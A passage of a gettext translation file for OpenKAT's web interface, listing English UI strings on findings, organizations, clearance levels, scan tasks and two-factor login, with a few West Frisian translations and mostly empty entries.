\"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute finding:\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Give a reason below why you want to mute this finding.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Mute finding\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"List of views for OOI\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due and has been deleted\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"This object is past due. You are viewing the object state in a past state.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's to past due objects.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\n#: rocky/templates/partials/hyperlink_ooi_id.html\n#, python-format\nmsgid \"Show details for %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"View the current state\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's, this object has been \"\n\"deleted and is no longer available.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Summary for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Below you can see findings that were found for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"and direct  children of this\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"This\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"tree view\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"of the\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"shows the same objects.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_add.html\nmsgid \"\"\n\"Please enter the following organization details. These details can be edited \"\n\"within the organization page within OpenKAT when necessary.\"\nmsgstr \"\"\n\"Fier de folgjende organisaasegegevens yn. Dizze gegevens kinne bewurke wurde \"\n\"wannear nedich binnen de organisatieside binnen OpenKAT.\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Edit organization\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Save organization\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"An overview of all organizations you are a member of.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Add new organization\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"                            Showing %(total)s organizations\\n\"\n\"                        \"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Organization overview:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Tags\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"There were no organizations found for your user account\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Actions to perform for all of your organizations.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Rerun all bits\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add.html\nmsgid \"Change account type\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#: rocky/views/organization_member_add.py\nmsgid \"Add member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#, python-format\nmsgid \"\"\n\"Creating a new member of organization <strong>%(organization)s</strong>. For \"\n\"detailed information about the different account types, check the <a \"\n\"href=\\\"https://docs.openkat.nl/basics/users-and-organisations.html#users\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">documentation</a>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_edit.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Edit member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_edit.html\nmsgid \"Save member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, python-format\nmsgid \"An overview of members of <strong>%(organization_name)s</strong>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Add member(s)\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Manually\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Upload a CSV\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"                        Showing %(total)s members\\n\"\n\"                    \"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Member overview:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Role\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Assigned clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Super user\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#: rocky/views/organization_member_add.py\nmsgid \"Add members\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#, python-format\nmsgid \"\"\n\"To upload multiple members at once, you can upload a CSV file or you can <a \"\n\"href=\\\"%(download_url)s\\\">download the template</a>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\nmsgid \"To create a custom CSV file, make sure it meets the following criteria:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\nmsgid \"Upload\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\n#, python-format\nmsgid \"\"\n\"An overview of general information and settings for \"\n\"<strong>%(organization_name)s</strong>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"\"\n\"<strong>Warning:</strong> Indemnification is not set for this organization.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/indemnification_add.py\nmsgid \"Add indemnification\"\nmsgstr \"\"\n\n#: rocky/templates/partials/current_config.html\nmsgid \"Current configuration\"\nmsgstr \"\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"Delete objects\"\nmsgstr \"\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"\"\n\"Are you sure you want to delete all the selected objects? The history of the \"\n\"deleted objects will still be available.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Edit clearance level settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"You are editing clearance level of all the selected objects.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Switching between declare and inherit\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"\"\n\"Clearance levels can be automatically inherited or you can manually declare \"\n\"the clearance level for an object. Switching to inherit clearance level will \"\n\"also recalculate the clearance levels of objects that inherit from these \"\n\"clearance levels.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\nmsgid \"Observed at\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Show settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Hide settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\nmsgid \"Toggle all OOI types\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Children\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Show details for %(object_id)s, with %(child_count)s children.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"\"\n\"Show tree for %(object_id)s with only children of type %(object_ooi_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Unfold %(object_id)s with %(child_count)s children\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"go to:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to detailpage\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"detail\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to tree view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"tree\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to graph view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"graph\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Clearance level inheritance\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"OOI\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Origin\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Show clearance level inheritance\"\nmsgstr \"\"\n\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Reproduction\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/checkbox_group_table_form.html\nmsgid \"Please enable plugin to start scanning.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Not set\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot email\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot password\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"error\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/form/form_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Error:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Open explanation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Close explanation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Explanation:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"Performing security scans against assets is generally only allowed if you \"\n\"have permission to scan those assets. Certain scans might also have a \"\n\"negative impact on (your) assets. Therefore it is important to know and be \"\n\"aware of the impact of security scans.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"An organization indemnification is required before you can use OpenKAT. With \"\n\"the indemnification you declare that you, as a person, can be held \"\n\"accountable.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"Set an indemnification\"\nmsgstr \"\"\n\n#: rocky/templates/partials/hyperlink_ooi_type.html\n#, python-format\nmsgid \"Only show objects of type %(type)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Hide filter options\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Show filter options\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"List pagination\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous Page\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Back\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\n#: rocky/templates/partials/pagination.html\nmsgid \"Page\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Forward\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next Page\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"You are muting the selected findings.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Reason:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Expires by (UTC):\"\nmsgstr \"\"\n\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Confirmation:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"No related object known for\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Generate Report\"\nmsgstr \"Rapport generearje\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Edit %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_head.html\n#, python-format\nmsgid \"\"\n\"An overview of \\\"%(ooi)s\\\", object type \\\"%(type)s\\\". This shows general \"\n\"information and its related objects. It also gives the possibility to add \"\n\"additional related objects, or to scan for them.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Scan for objects\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_csv.html rocky/views/upload_csv.py\nmsgid \"Upload CSV\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Export\"\nmsgstr \"Eksportearje\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as CSV\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block.html\n#, python-format\nmsgid \"%(total)s findings on %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#, python-format\nmsgid \"Findings for %(type)s %(name)s on %(observed_at)s:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Open finding details\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#, python-format\nmsgid \"Details of %(object_id)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"\"\n\"The severity of this findingtype has not (yet) been determined by the data \"\n\"source. This situation requires manual investigation of the severity.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Total occurrences\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - dense view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - table view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organization_member_list_filters.html\nmsgid \"Update List\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization name\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization code\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\nmsgid \"Select organization\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\nmsgid \"All organizations\"\nmsgstr \"\"\n\n#: rocky/templates/partials/page-meta.html\nmsgid \"Logged in as:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"of\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"first\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"previous\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"next\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"last\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"User navigation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Close user navigation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"My organizations\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Profile\"\nmsgstr \"\"\n\n#: rocky/templates/partials/skip-to-content.html\nmsgid \"Go to content\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"The clearance level determines the level of boefje scans allowed on this \"\n\"object. An object inherits its clearance level from neighbouring objects. \"\n\"This means that the clearance level might stay the same, increase or \"\n\"decrease, depending on other declared clearance levels.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Empty clearance level explanation\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Empty:\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"This object has a clearance level of \\\"empty\\\". This means that this object \"\n\"has no clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Indemnification warning\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Indemnification is not set for this organization.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Go to the\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"organization settings page\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"to add one.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Set clearance level warning\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"You don't have permissions to set the clearance level. Contact your \"\n\"administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, python-format\nmsgid \"\"\n\"You are not allowed to set the clearance level of this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Go to your\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"account details\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"to manage your clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Current clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"\"\n\"An overview of the boefje task, the input OOI and the RAW data it generated.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download meta and raw data\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Download meta data\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Input object\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html\nmsgid \"There are no tasks for boefjes.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html\nmsgid \"List of tasks for boefjes.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/reports.html\nmsgid \"Organization Code\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Created date\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Modified date\"\nmsgstr \"Bewurke datum\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"There are no tasks for normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"List of tasks for normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje input OOI\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Manually added\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/ooi_detail_task_list.html\nmsgid \"There have been no tasks.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Task statistics - Last 24 hours\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"All times in UTC, blocks of 1 hour.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Timeslot\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Could not load stats, Scheduler error.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/tab_navigation.html\nmsgid \"List of tasks\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Yielded objects\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Reschedule\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download task data\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#, python-format\nmsgid \"\"\n\"An overview of the tasks for <strong>%(organization)s</strong>. Tasks are \"\n\"divided in Boefjes, Normalizers and Reports. Boefjes scan objects and \"\n\"Normalizers dispatch on the output mime-type. Additionally, there is a \"\n\"Report tasks. This task aggregates and presents findings from both Boefjes \"\n\"and Normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"There are no tasks for\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"List of tasks for\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"There are no tasks for reports.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"List of tasks for reports.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"Recipe ID\"\nmsgstr \"Resept-ID\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Log in\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Authenticate\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Tokens\"\nmsgstr \"Reservekopytokens\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"\"\n\"Backup tokens can be used when your primary and backup phone numbers aren't \"\n\"available. The backup tokens below can be used for login verification. If \"\n\"you've used up all your backup tokens, you can generate a new set of backup \"\n\"tokens. Only the backup tokens shown below will be valid.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Print these tokens and keep them somewhere safe.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"You don't have any backup codes yet.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Generate Tokens\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Back to Account Security\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"You are logged in.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Two factor authentication is enabled for your account.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Two factor authentication is not enabled for your account. Enable it to \"\n\"continue.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Setup two factor authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Credentials\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Use this form for entering backup tokens for logging in. These tokens have \"\n\"been generated for you to print and keep safe. Please enter one of these \"\n\"backup tokens to login to your account.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"As a last resort, you can use a backup token:\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Use Backup Token\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"Permission Denied\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"\"\n\"The page you requested, enforces users to verify using two-factor \"\n\"authentication for security reasons. You need to enable these security \"\n\"features in order to access this page.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"Two-factor authentication is not enabled for your account. Enable two-factor \"\n\"authentication for enhanced account security.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/core/setup.html\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Enable Two-Factor Authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"Add Backup Phone\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"You'll be adding a backup phone number to your account. This number will be \"\n\"used if your primary method of registration is not available.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"We've sent a token to your phone number. Please enter the token you've \"\n\"received.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"To start using a token generator, please use your smartphone to scan the QR \"\n\"code below or use the setup key. For example, use GoogleAuthenticator. Then, \"\n\"enter the token generated by the app.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"QR code\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"Setup key\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"The secret key is a 32 characters representation of the QR code. There are 2 \"\n\"options to setup the two factor authtentication. You can scan the QR code \"\n\"above or you can insert this key using the secret key option of the \"\n\"authenticator app.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Congratulations, you've successfully enabled two-factor authentication.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Start using OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"\"\n\"However, it might happen that you don't have access to your primary token \"\n\"device. To enable account recovery, add a phone number.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Add Phone Number\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable Two-factor Authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"\"\n\"You are about to disable two-factor authentication. This weakens your \"\n\"account security, are you sure?\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Account Security\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your token generator.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"Primary method: %(primary)s\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your YubiKey.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Phone Numbers\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If your primary method is not available, we are able to send backup tokens \"\n\"to the phone numbers listed below.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Unregister\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If you don't have any device with you, you can access your account using \"\n\"backup tokens.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"You have only one backup token remaining.\"\nmsgid_plural \"You have %(counter)s backup tokens remaining.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Show Codes\"\nmsgstr \"\"\n\n#: 